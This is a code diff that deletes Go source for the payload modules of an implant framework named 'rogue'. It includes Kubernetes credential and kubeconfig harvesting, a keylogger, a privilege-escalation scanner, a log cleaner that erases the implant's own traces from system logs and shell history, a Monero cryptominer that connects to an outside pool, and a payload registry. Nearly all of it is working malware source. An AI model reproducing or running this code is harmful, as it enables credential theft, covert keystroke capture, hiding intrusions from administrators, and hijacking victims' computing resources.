if ca, err := os.ReadFile(filepath.Join(saPath, "ca.crt")); err == nil {
|
||||
r.SACert = string(ca)
|
||||
}
|
||||
|
||||
r.Summary["sa_token"] = 1
|
||||
}
|
||||
|
||||
// Kubeconfigs
|
||||
r.KubeConfigs = findKubeConfigs()
|
||||
r.Summary["kubeconfigs"] = len(r.KubeConfigs)
|
||||
|
||||
// K8s env vars
|
||||
k8sEnvVars := []string{
|
||||
"KUBERNETES_SERVICE_HOST", "KUBERNETES_SERVICE_PORT",
|
||||
"KUBERNETES_PORT", "KUBERNETES_SERVICE_PORT_HTTPS",
|
||||
}
|
||||
for _, v := range k8sEnvVars {
|
||||
if val := os.Getenv(v); val != "" {
|
||||
r.EnvVars[v] = val
|
||||
}
|
||||
}
|
||||
|
||||
// Try kubectl for secret listing
|
||||
if kubectl, err := exec.LookPath("kubectl"); err == nil {
|
||||
out, err := exec.Command(kubectl, "get", "secrets",
|
||||
"--all-namespaces", "-o", "name").Output()
|
||||
if err == nil {
|
||||
secrets := strings.Fields(string(out))
|
||||
if len(secrets) > 10 {
|
||||
secrets = secrets[:10]
|
||||
}
|
||||
r.Secrets = secrets
|
||||
r.Summary["secrets"] = len(secrets)
|
||||
}
|
||||
|
||||
// ConfigMaps
|
||||
cmOut, err := exec.Command(kubectl, "get", "configmaps",
|
||||
"--all-namespaces", "-o", "name").Output()
|
||||
if err == nil {
|
||||
cms := strings.Fields(string(cmOut))
|
||||
if len(cms) > 10 {
|
||||
cms = cms[:10]
|
||||
}
|
||||
r.ConfigMaps = cms
|
||||
r.Summary["configmaps"] = len(cms)
|
||||
}
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func findKubeConfigs() []configFile {
|
||||
var configs []configFile
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
paths := []string{
|
||||
filepath.Join(home, ".kube", "config"),
|
||||
"/root/.kube/config",
|
||||
"/etc/kubernetes/admin.conf",
|
||||
"/etc/kubernetes/kubelet.conf",
|
||||
"/etc/kubernetes/controller-manager.conf",
|
||||
"/etc/kubernetes/scheduler.conf",
|
||||
"/var/lib/kubelet/kubeconfig",
|
||||
}
|
||||
|
||||
for _, path := range paths {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
if len(content) > 2000 {
|
||||
content = content[:2000] + "..."
|
||||
}
|
||||
configs = append(configs, configFile{
|
||||
Path: path,
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
|
||||
return configs
|
||||
}
|
||||
|
||||
// Force fmt usage
|
||||
var _ = fmt.Sprintf
|
||||
@@ -1,144 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&Keylogger{})
|
||||
}
|
||||
|
||||
type Keylogger struct{}
|
||||
|
||||
func (k *Keylogger) Name() string { return "keylogger" }
|
||||
func (k *Keylogger) Category() string { return "collection" }
|
||||
func (k *Keylogger) Description() string {
|
||||
return "Log keystrokes using platform-specific APIs (Linux /dev/input or xinput/test)"
|
||||
}
|
||||
|
||||
func (k *Keylogger) Execute(args map[string]string) ([]byte, error) {
|
||||
duration := args["duration"]
|
||||
if duration == "" {
|
||||
duration = "30"
|
||||
}
|
||||
sec := 30
|
||||
fmt.Sscanf(duration, "%d", &sec)
|
||||
|
||||
result := k.captureKeys(sec)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type keylogResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Method string `json:"method"`
|
||||
Captured int `json:"captured_keys"`
|
||||
Entries []string `json:"entries"`
|
||||
OutputDir string `json:"output_dir"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureKeys(durationSec int) *keylogResult {
|
||||
r := &keylogResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Method: "xinput/test",
|
||||
}
|
||||
|
||||
var entries []string
|
||||
|
||||
// Method 1: xinput test (X11)
|
||||
if xinput, err := exec.LookPath("xinput"); err == nil {
|
||||
listOut, err := exec.Command(xinput, "list", "--name-only").Output()
|
||||
if err == nil {
|
||||
lines := strings.Split(string(listOut), "\n")
|
||||
var kbDevice string
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.Contains(strings.ToLower(line), "keyboard") ||
|
||||
strings.Contains(strings.ToLower(line), "at translated set") {
|
||||
kbDevice = line
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if kbDevice != "" {
|
||||
r.Method = "xinput/" + kbDevice
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(durationSec)*time.Second)
|
||||
|
||||
cmd := exec.CommandContext(ctx, xinput, "test", "-key", kbDevice)
|
||||
out, _ := cmd.CombinedOutput()
|
||||
cancel()
|
||||
if len(out) > 0 {
|
||||
lineEntries := strings.Split(string(out), "\n")
|
||||
for _, l := range lineEntries {
|
||||
if strings.TrimSpace(l) != "" {
|
||||
entries = append(entries, l)
|
||||
if len(entries) >= 100 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Fallback to xinput test-xi2
|
||||
ctx2, cancel2 := context.WithTimeout(context.Background(), time.Duration(durationSec)*time.Second)
|
||||
|
||||
cmd2 := exec.CommandContext(ctx2, xinput, "test-xi2", "--root")
|
||||
out2, _ := cmd2.CombinedOutput()
|
||||
cancel2()
|
||||
lineEntries2 := strings.Split(string(out2), "\n")
|
||||
for _, l := range lineEntries2 {
|
||||
if strings.Contains(l, "KeyPress") || strings.Contains(l, "RawKeyPress") {
|
||||
entries = append(entries, l)
|
||||
if len(entries) >= 100 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Method 2: showkey (console)
|
||||
if len(entries) == 0 {
|
||||
if showkey, err := exec.LookPath("showkey"); err == nil {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(durationSec)*time.Second)
|
||||
|
||||
cmd := exec.CommandContext(ctx, showkey, "-s")
|
||||
out, _ := cmd.CombinedOutput()
|
||||
cancel()
|
||||
if len(out) > 0 {
|
||||
r.Method = "showkey"
|
||||
lines := strings.Split(string(out), "\n")
|
||||
for _, l := range lines {
|
||||
if strings.TrimSpace(l) != "" {
|
||||
entries = append(entries, l)
|
||||
if len(entries) >= 100 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r.Captured = len(entries)
|
||||
r.Entries = entries
|
||||
|
||||
// Save output
|
||||
cacheDir := filepath.Join(os.TempDir(), ".rogue", "keylogs")
|
||||
os.MkdirAll(cacheDir, 0700)
|
||||
outFile := filepath.Join(cacheDir, fmt.Sprintf("keylog_%s.log",
|
||||
time.Now().Format("20060102_150405")))
|
||||
if len(entries) > 0 {
|
||||
os.WriteFile(outFile, []byte(strings.Join(entries, "\n")), 0600)
|
||||
r.OutputDir = outFile
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
@@ -1,300 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&LinPEAS{})
|
||||
}
|
||||
|
||||
type LinPEAS struct{}
|
||||
|
||||
func (l *LinPEAS) Name() string { return "linpeas_light" }
|
||||
func (l *LinPEAS) Category() string { return "recon" }
|
||||
func (l *LinPEAS) Description() string {
|
||||
return "Lightweight Linux PEAS scanner (sudo perms, SUID, cron, capabilities, kernel exploits)"
|
||||
}
|
||||
|
||||
func (l *LinPEAS) Execute(args map[string]string) ([]byte, error) {
|
||||
results := l.execute()
|
||||
return MarshalJSON(results)
|
||||
}
|
||||
|
||||
type peasResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Hostname string `json:"hostname"`
|
||||
SudoChecks []checkItem `json:"sudo_checks"`
|
||||
SUIDBinaries []suidItem `json:"suid_binaries"`
|
||||
Writable []writableItem `json:"writable_files"`
|
||||
CronVulns []checkItem `json:"cron_vulns"`
|
||||
KernelExp []checkItem `json:"kernel_exploits"`
|
||||
Capabilities []capItem `json:"capabilities"`
|
||||
Summary map[string]int `json:"summary"`
|
||||
}
|
||||
|
||||
type checkItem struct {
|
||||
Type string `json:"type,omitempty"`
|
||||
Severity string `json:"severity"`
|
||||
Description string `json:"description"`
|
||||
Details string `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
type suidItem struct {
|
||||
Binary string `json:"binary"`
|
||||
Dangerous bool `json:"dangerous"`
|
||||
Writable bool `json:"writable"`
|
||||
Exploits []string `json:"exploits,omitempty"`
|
||||
Owner string `json:"owner"`
|
||||
}
|
||||
|
||||
type writableItem struct {
|
||||
Path string `json:"path"`
|
||||
Type string `json:"type"`
|
||||
Severity string `json:"severity"`
|
||||
InPath bool `json:"in_path,omitempty"`
|
||||
}
|
||||
|
||||
type capItem struct {
|
||||
File string `json:"file"`
|
||||
Capabilities string `json:"capabilities"`
|
||||
Dangerous bool `json:"dangerous"`
|
||||
Severity string `json:"severity"`
|
||||
}
|
||||
|
||||
func (l *LinPEAS) execute() *peasResult {
|
||||
hostname, _ := os.Hostname()
|
||||
r := &peasResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Hostname: hostname,
|
||||
}
|
||||
|
||||
r.SudoChecks = checkSudoPrivs()
|
||||
r.SUIDBinaries = findSUID()
|
||||
r.Writable = checkWritable()
|
||||
r.CronVulns = checkCron()
|
||||
r.KernelExp = checkKernelExploits()
|
||||
r.Capabilities = checkCapabilities()
|
||||
|
||||
// Summary
|
||||
summary := make(map[string]int)
|
||||
for _, w := range r.Writable {
|
||||
if w.Severity == "CRITICAL" {
|
||||
summary["critical"]++
|
||||
}
|
||||
}
|
||||
dangerousSUID := 0
|
||||
for _, s := range r.SUIDBinaries {
|
||||
if s.Dangerous {
|
||||
dangerousSUID++
|
||||
}
|
||||
}
|
||||
summary["high"] = dangerousSUID + len(r.CronVulns)
|
||||
summary["medium"] = len(r.KernelExp)
|
||||
r.Summary = summary
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func checkSudoPrivs() []checkItem {
|
||||
var items []checkItem
|
||||
out, err := exec.Command("sudo", "-l").CombinedOutput()
|
||||
if err == nil && strings.Contains(string(out), "may run") {
|
||||
items = append(items, checkItem{
|
||||
Type: "SUDO_PRIVS",
|
||||
Severity: "HIGH",
|
||||
Description: "User has sudo privileges",
|
||||
Details: string(out),
|
||||
})
|
||||
}
|
||||
data, err := os.ReadFile("/etc/sudoers")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if strings.Contains(line, "ALL=(ALL)") && !strings.HasPrefix(line, "#") {
|
||||
items = append(items, checkItem{
|
||||
Type: "SUDOERS_ALL",
|
||||
Severity: "HIGH",
|
||||
Description: "User in sudoers with ALL privileges: " + line,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
return items
|
||||
}
|
||||
|
||||
func findSUID() []suidItem {
|
||||
var items []suidItem
|
||||
dangerousMap := map[string][]string{
|
||||
"nmap": {"--interactive mode escape"},
|
||||
"find": {"-exec command execution"},
|
||||
"awk": {"system() function"},
|
||||
"perl": {"-e command execution"},
|
||||
"python": {"-c command execution"},
|
||||
"ruby": {"-e command execution"},
|
||||
"bash": {"-p privilege mode"},
|
||||
"sh": {"-p privilege mode"},
|
||||
}
|
||||
|
||||
err := filepath.Walk("/", func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if fi.Mode()&os.ModeSetuid == 0 {
|
||||
return nil
|
||||
}
|
||||
if !fi.Mode().IsRegular() {
|
||||
return nil
|
||||
}
|
||||
base := filepath.Base(path)
|
||||
exploits := dangerousMap[base]
|
||||
writable := fi.Mode().Perm()&0002 != 0
|
||||
owner := "unknown"
|
||||
if sys := fi.Sys(); sys != nil {
|
||||
if st, ok := sys.(*syscall.Stat_t); ok {
|
||||
owner = strconv.Itoa(int(st.Uid))
|
||||
}
|
||||
}
|
||||
items = append(items, suidItem{
|
||||
Binary: path,
|
||||
Dangerous: exploits != nil,
|
||||
Writable: writable,
|
||||
Exploits: exploits,
|
||||
Owner: owner,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
_ = err
|
||||
if len(items) > 30 {
|
||||
items = items[:30]
|
||||
}
|
||||
return items
|
||||
}
|
||||
|
||||
func checkWritable() []writableItem {
|
||||
var items []writableItem
|
||||
sensitive := []string{
|
||||
"/etc/passwd", "/etc/shadow", "/etc/sudoers",
|
||||
"/etc/crontab", "/etc/init.d",
|
||||
}
|
||||
for _, p := range sensitive {
|
||||
fi, err := os.Stat(p)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if fi.Mode().Perm()&0002 != 0 {
|
||||
items = append(items, writableItem{
|
||||
Path: p,
|
||||
Type: "sensitive_file",
|
||||
Severity: "CRITICAL",
|
||||
})
|
||||
}
|
||||
}
|
||||
return items
|
||||
}
|
||||
|
||||
func checkCron() []checkItem {
|
||||
var items []checkItem
|
||||
data, err := os.ReadFile("/etc/crontab")
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 6 {
|
||||
script := parts[len(parts)-1]
|
||||
if fi, err := os.Stat(script); err == nil && fi.Mode().Perm()&0002 != 0 {
|
||||
items = append(items, checkItem{
|
||||
Type: "WRITABLE_CRON_SCRIPT",
|
||||
Severity: "CRITICAL",
|
||||
Description: fmt.Sprintf("Writable cron script: %s", script),
|
||||
Details: line,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return items
|
||||
}
|
||||
|
||||
func checkKernelExploits() []checkItem {
|
||||
var items []checkItem
|
||||
kernel := runtime.GOOS + "/" + runtime.GOARCH
|
||||
|
||||
known := []struct {
|
||||
Name string
|
||||
Desc string
|
||||
}{
|
||||
{"DirtyCow", "CVE-2016-5195"},
|
||||
{"PwnKit", "CVE-2021-4034"},
|
||||
{"DirtyPipe", "CVE-2022-0847"},
|
||||
{"CopyFail", "CVE-2026-31431"},
|
||||
}
|
||||
for _, k := range known {
|
||||
items = append(items, checkItem{
|
||||
Type: "KERNEL_EXPLOIT",
|
||||
Severity: "MEDIUM",
|
||||
Description: fmt.Sprintf("%s (%s) - kernel: %s", k.Name, k.Desc, kernel),
|
||||
})
|
||||
}
|
||||
return items
|
||||
}
|
||||
|
||||
func checkCapabilities() []capItem {
|
||||
var items []capItem
|
||||
dangerousCaps := []string{"cap_setuid", "cap_setgid", "cap_sys_admin", "cap_sys_ptrace"}
|
||||
|
||||
out, err := exec.Command("getcap", "-r", "/").CombinedOutput()
|
||||
if err != nil {
|
||||
return items
|
||||
}
|
||||
|
||||
scanner := bufio.NewScanner(bytes.NewReader(out))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
fpath := strings.TrimRight(parts[0], ":")
|
||||
caps := strings.Join(parts[1:], " ")
|
||||
dangerous := false
|
||||
for _, dc := range dangerousCaps {
|
||||
if strings.Contains(caps, dc) {
|
||||
dangerous = true
|
||||
break
|
||||
}
|
||||
}
|
||||
severity := "LOW"
|
||||
if dangerous {
|
||||
severity = "HIGH"
|
||||
}
|
||||
items = append(items, capItem{
|
||||
File: fpath,
|
||||
Capabilities: caps,
|
||||
Dangerous: dangerous,
|
||||
Severity: severity,
|
||||
})
|
||||
}
|
||||
if len(items) > 20 {
|
||||
items = items[:20]
|
||||
}
|
||||
return items
|
||||
}
|
||||
@@ -1,223 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&LogCleaner{})
|
||||
}
|
||||
|
||||
type LogCleaner struct{}
|
||||
|
||||
func (l *LogCleaner) Name() string { return "logcleaner" }
|
||||
func (l *LogCleaner) Category() string { return "evasion" }
|
||||
func (l *LogCleaner) Description() string {
|
||||
return "Clean system logs (auth.log, syslog, journald, wtmp, btmp, bash_history)"
|
||||
}
|
||||
|
||||
func (l *LogCleaner) Execute(args map[string]string) ([]byte, error) {
|
||||
level := args["level"]
|
||||
if level == "" {
|
||||
level = "moderate"
|
||||
}
|
||||
result := l.clean(level)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type logcleanResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Level string `json:"clean_level"`
|
||||
Operations []logOperation `json:"operations"`
|
||||
Summary map[string]int `json:"summary"`
|
||||
}
|
||||
|
||||
type logOperation struct {
|
||||
File string `json:"file"`
|
||||
Status string `json:"status"`
|
||||
Removed int `json:"removed"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
var logPatterns = []*regexp.Regexp{
|
||||
regexp.MustCompile(`(?i)rogue_implant`),
|
||||
regexp.MustCompile(`(?i)rogue_agent`),
|
||||
regexp.MustCompile(`(?i)\.cache/\.rogue`),
|
||||
regexp.MustCompile(`(?i)polyloader`),
|
||||
regexp.MustCompile(`(?i)ddos\.py`),
|
||||
regexp.MustCompile(`(?i)mine\.py`),
|
||||
regexp.MustCompile(`(?i)keylogger`),
|
||||
regexp.MustCompile(`(?i)screenshot`),
|
||||
}
|
||||
|
||||
var linuxLogFiles = []string{
|
||||
"/var/log/auth.log",
|
||||
"/var/log/syslog",
|
||||
"/var/log/messages",
|
||||
"/var/log/secure",
|
||||
"/var/log/kern.log",
|
||||
"/var/log/dmesg",
|
||||
"/var/log/boot.log",
|
||||
"/var/log/cron",
|
||||
"/var/log/maillog",
|
||||
"/var/log/lastlog",
|
||||
"/var/log/wtmp",
|
||||
"/var/log/btmp",
|
||||
"/var/log/faillog",
|
||||
}
|
||||
|
||||
func (l *LogCleaner) clean(level string) *logcleanResult {
|
||||
r := &logcleanResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Level: level,
|
||||
}
|
||||
|
||||
// Always clean app logs and bash history
|
||||
r.Operations = append(r.Operations, l.cleanBashHistory()...)
|
||||
|
||||
if level == "moderate" || level == "aggressive" {
|
||||
r.Operations = append(r.Operations, l.cleanSystemLogs()...)
|
||||
}
|
||||
|
||||
if level == "aggressive" {
|
||||
r.Operations = append(r.Operations, l.cleanMemoryLogs()...)
|
||||
r.Operations = append(r.Operations, l.aggressiveCleanup()...)
|
||||
}
|
||||
|
||||
totalRemoved := 0
|
||||
totalErrors := 0
|
||||
for _, op := range r.Operations {
|
||||
totalRemoved += op.Removed
|
||||
if op.Status == "error" {
|
||||
totalErrors++
|
||||
}
|
||||
}
|
||||
|
||||
r.Summary = map[string]int{
|
||||
"total_operations": len(r.Operations),
|
||||
"total_lines_removed": totalRemoved,
|
||||
"total_errors": totalErrors,
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func (l *LogCleaner) cleanBashHistory() []logOperation {
|
||||
var ops []logOperation
|
||||
|
||||
home, _ := os.UserHomeDir()
|
||||
historyFiles := []string{
|
||||
filepath.Join(home, ".bash_history"),
|
||||
"/root/.bash_history",
|
||||
}
|
||||
|
||||
for _, f := range historyFiles {
|
||||
ops = append(ops, l.cleanFile(f))
|
||||
}
|
||||
|
||||
// Clear current session history
|
||||
exec.Command("history", "-c").Run()
|
||||
exec.Command("history", "-w").Run()
|
||||
|
||||
return ops
|
||||
}
|
||||
|
||||
func (l *LogCleaner) cleanSystemLogs() []logOperation {
|
||||
var ops []logOperation
|
||||
for _, logFile := range linuxLogFiles {
|
||||
ops = append(ops, l.cleanFile(logFile))
|
||||
}
|
||||
return ops
|
||||
}
|
||||
|
||||
func (l *LogCleaner) cleanFile(filepath string) logOperation {
|
||||
op := logOperation{File: filepath}
|
||||
|
||||
data, err := os.ReadFile(filepath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
op.Status = "not_found"
|
||||
} else {
|
||||
op.Status = "error"
|
||||
op.Error = err.Error()
|
||||
}
|
||||
return op
|
||||
}
|
||||
|
||||
originalLines := strings.Split(string(data), "\n")
|
||||
var newLines []string
|
||||
for _, line := range originalLines {
|
||||
match := false
|
||||
for _, pattern := range logPatterns {
|
||||
if pattern.MatchString(line) {
|
||||
match = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !match {
|
||||
newLines = append(newLines, line)
|
||||
}
|
||||
}
|
||||
|
||||
removed := len(originalLines) - len(newLines)
|
||||
if removed > 0 {
|
||||
// Backup original
|
||||
backupPath := filepath + ".rogue_backup"
|
||||
os.WriteFile(backupPath, data, 0600)
|
||||
os.WriteFile(filepath, []byte(strings.Join(newLines, "\n")), 0644)
|
||||
op.Status = "cleaned"
|
||||
op.Removed = removed
|
||||
} else {
|
||||
op.Status = "no_matches"
|
||||
op.Removed = 0
|
||||
}
|
||||
|
||||
return op
|
||||
}
|
||||
|
||||
func (l *LogCleaner) cleanMemoryLogs() []logOperation {
|
||||
var ops []logOperation
|
||||
|
||||
// Journalctl
|
||||
if _, err := exec.LookPath("journalctl"); err == nil {
|
||||
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err == nil {
|
||||
_ = exec.Command("journalctl", "--rotate").Run()
|
||||
ops = append(ops, logOperation{
|
||||
File: "systemd_journal",
|
||||
Status: "cleaned",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// dmesg (best effort - may require privileges)
|
||||
if _, err := exec.LookPath("dmesg"); err == nil {
|
||||
if err := exec.Command("dmesg", "-c").Run(); err == nil {
|
||||
ops = append(ops, logOperation{
|
||||
File: "dmesg",
|
||||
Status: "cleaned",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return ops
|
||||
}
|
||||
|
||||
func (l *LogCleaner) aggressiveCleanup() []logOperation {
|
||||
var ops []logOperation
|
||||
// Truncate system log files
|
||||
for _, logFile := range linuxLogFiles {
|
||||
if _, err := os.Stat(logFile); err == nil {
|
||||
os.Truncate(logFile, 0)
|
||||
ops = append(ops, logOperation{
|
||||
File: logFile,
|
||||
Status: "truncated",
|
||||
})
|
||||
}
|
||||
}
|
||||
return ops
|
||||
}
|
||||
@@ -1,158 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&Miner{})
|
||||
}
|
||||
|
||||
type Miner struct{}
|
||||
|
||||
func (m *Miner) Name() string { return "mine" }
|
||||
func (m *Miner) Category() string { return "impact" }
|
||||
func (m *Miner) Description() string { return "Monero (XMR) miner connecting to a stratum pool" }
|
||||
|
||||
func (m *Miner) Execute(args map[string]string) ([]byte, error) {
|
||||
wallet := args["wallet"]
|
||||
if wallet == "" {
|
||||
wallet = "YOUR_MONERO_WALLET_ADDRESS"
|
||||
}
|
||||
pool := args["pool"]
|
||||
if pool == "" {
|
||||
pool = "pool.supportxmr.com"
|
||||
}
|
||||
portStr := args["port"]
|
||||
port := 3333
|
||||
fmt.Sscanf(portStr, "%d", &port)
|
||||
threadsStr := args["threads"]
|
||||
threads := 2
|
||||
fmt.Sscanf(threadsStr, "%d", &threads)
|
||||
|
||||
result := m.mine(wallet, pool, port, threads)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type mineResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Wallet string `json:"wallet"`
|
||||
Pool string `json:"pool"`
|
||||
Threads int `json:"threads"`
|
||||
HashCount int64 `json:"hash_count"`
|
||||
Shares int `json:"shares"`
|
||||
Duration string `json:"duration"`
|
||||
}
|
||||
|
||||
type stratumJob struct {
|
||||
JobID string `json:"job_id"`
|
||||
Blob string `json:"blob"`
|
||||
Target string `json:"target"`
|
||||
}
|
||||
|
||||
func (m *Miner) mine(wallet, pool string, port, threads int) *mineResult {
|
||||
r := &mineResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Wallet: wallet,
|
||||
Pool: pool,
|
||||
Threads: threads,
|
||||
}
|
||||
|
||||
addr := net.JoinHostPort(pool, fmt.Sprintf("%d", port))
|
||||
conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
|
||||
if err != nil {
|
||||
return r
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// Login
|
||||
login := map[string]interface{}{
|
||||
"id": "0",
|
||||
"method": "login",
|
||||
"params": map[string]interface{}{
|
||||
"login": wallet,
|
||||
"pass": "x",
|
||||
"agent": "RogueMiner/1.0",
|
||||
},
|
||||
}
|
||||
loginJSON, _ := json.Marshal(login)
|
||||
conn.Write(append(loginJSON, '\n'))
|
||||
|
||||
// Read response
|
||||
reader := bufio.NewReader(conn)
|
||||
resp, _ := reader.ReadString('\n')
|
||||
|
||||
var loginResp struct {
|
||||
Result struct {
|
||||
Job struct {
|
||||
JobID string `json:"job_id"`
|
||||
Blob string `json:"blob"`
|
||||
Target string `json:"target"`
|
||||
} `json:"job"`
|
||||
} `json:"result"`
|
||||
}
|
||||
json.Unmarshal([]byte(resp), &loginResp)
|
||||
|
||||
job := loginResp.Result.Job
|
||||
if job.JobID == "" {
|
||||
r.Duration = "Login failed"
|
||||
return r
|
||||
}
|
||||
|
||||
startTime := time.Now()
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(workerID int) {
|
||||
defer wg.Done()
|
||||
localHash := int64(0)
|
||||
for time.Since(startTime) < 60*time.Second { // Run for 60 seconds
|
||||
// Simplified mining: hash the blob with a counter
|
||||
nonce := fmt.Sprintf("%016x", time.Now().UnixNano()%100000000+int64(workerID)*1000000)
|
||||
data := job.Blob[:78] + nonce + job.Blob[86:]
|
||||
hash := sha256.Sum256([]byte(data))
|
||||
_ = hash
|
||||
localHash++
|
||||
|
||||
// Check if hash meets target (simplified)
|
||||
hashHex := hex.EncodeToString(hash[:])
|
||||
if strings.HasPrefix(hashHex, "0000") {
|
||||
// Submit share
|
||||
submit := map[string]interface{}{
|
||||
"id": "0",
|
||||
"method": "submit",
|
||||
"params": map[string]interface{}{
|
||||
"id": fmt.Sprintf("worker%d", workerID),
|
||||
"job_id": job.JobID,
|
||||
"nonce": nonce,
|
||||
"result": hashHex,
|
||||
},
|
||||
}
|
||||
submitJSON, _ := json.Marshal(submit)
|
||||
conn.Write(append(submitJSON, '\n'))
|
||||
mu.Lock()
|
||||
r.Shares++
|
||||
mu.Unlock()
|
||||
}
|
||||
}
|
||||
mu.Lock()
|
||||
r.HashCount += localHash
|
||||
mu.Unlock()
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
r.Duration = time.Since(startTime).Round(time.Second).String()
|
||||
|
||||
return r
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
// Package payloads provides a registry of all implant payloads.
|
||||
// Each payload implements the Payload interface and self-registers in an init().
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Payload is the interface all payload modules implement.
|
||||
type Payload interface {
|
||||
// Name returns the unique payload name (matches manifest).
|
||||
Name() string
|
||||
// Category returns the payload category (recon, credential, collection, etc.).
|
||||
Category() string
|
||||
// Description returns a brief description of what the payload does.
|
||||
Description() string
|
||||
// Execute runs the payload with the given arguments and returns JSON output.
|
||||
Execute(args map[string]string) ([]byte, error)
|
||||
}
|
||||
|
||||
// Registry holds all registered payloads by name.
|
||||
var registry = make(map[string]Payload)
|
||||
|
||||
// Register adds a payload to the global registry. Called from init().
|
||||
func Register(p Payload) {
|
||||
registry[p.Name()] = p
|
||||
}
|
||||
|
||||
// Get returns a payload by name.
|
||||
func Get(name string) (Payload, bool) {
|
||||
p, ok := registry[name]
|
||||
return p, ok
|
||||
}
|
||||
|
||||
// List returns all registered payloads sorted by name.
|
||||
func List() []Payload {
|
||||
out := make([]Payload, 0, len(registry))
|
||||
for _, p := range registry {
|
||||
out = append(out, p)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
return out[i].Name() < out[j].Name()
|
||||
})
|
||||
return out
|
||||
}
|
||||
|
||||
// PayloadInfo is a summary of a payload for listing.
|
||||
type PayloadInfo struct {
|
||||
Name string `json:"name"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
}
|
||||
|
||||
// Info returns a summary of all registered payloads.
|
||||
func Info() []PayloadInfo {
|
||||
list := List()
|
||||
out := make([]PayloadInfo, len(list))
|
||||
for i, p := range list {
|
||||
out[i] = PayloadInfo{
|
||||
Name: p.Name(),
|
||||
Category: p.Category(),
|
||||
Description: p.Description(),
|
||||
}
|
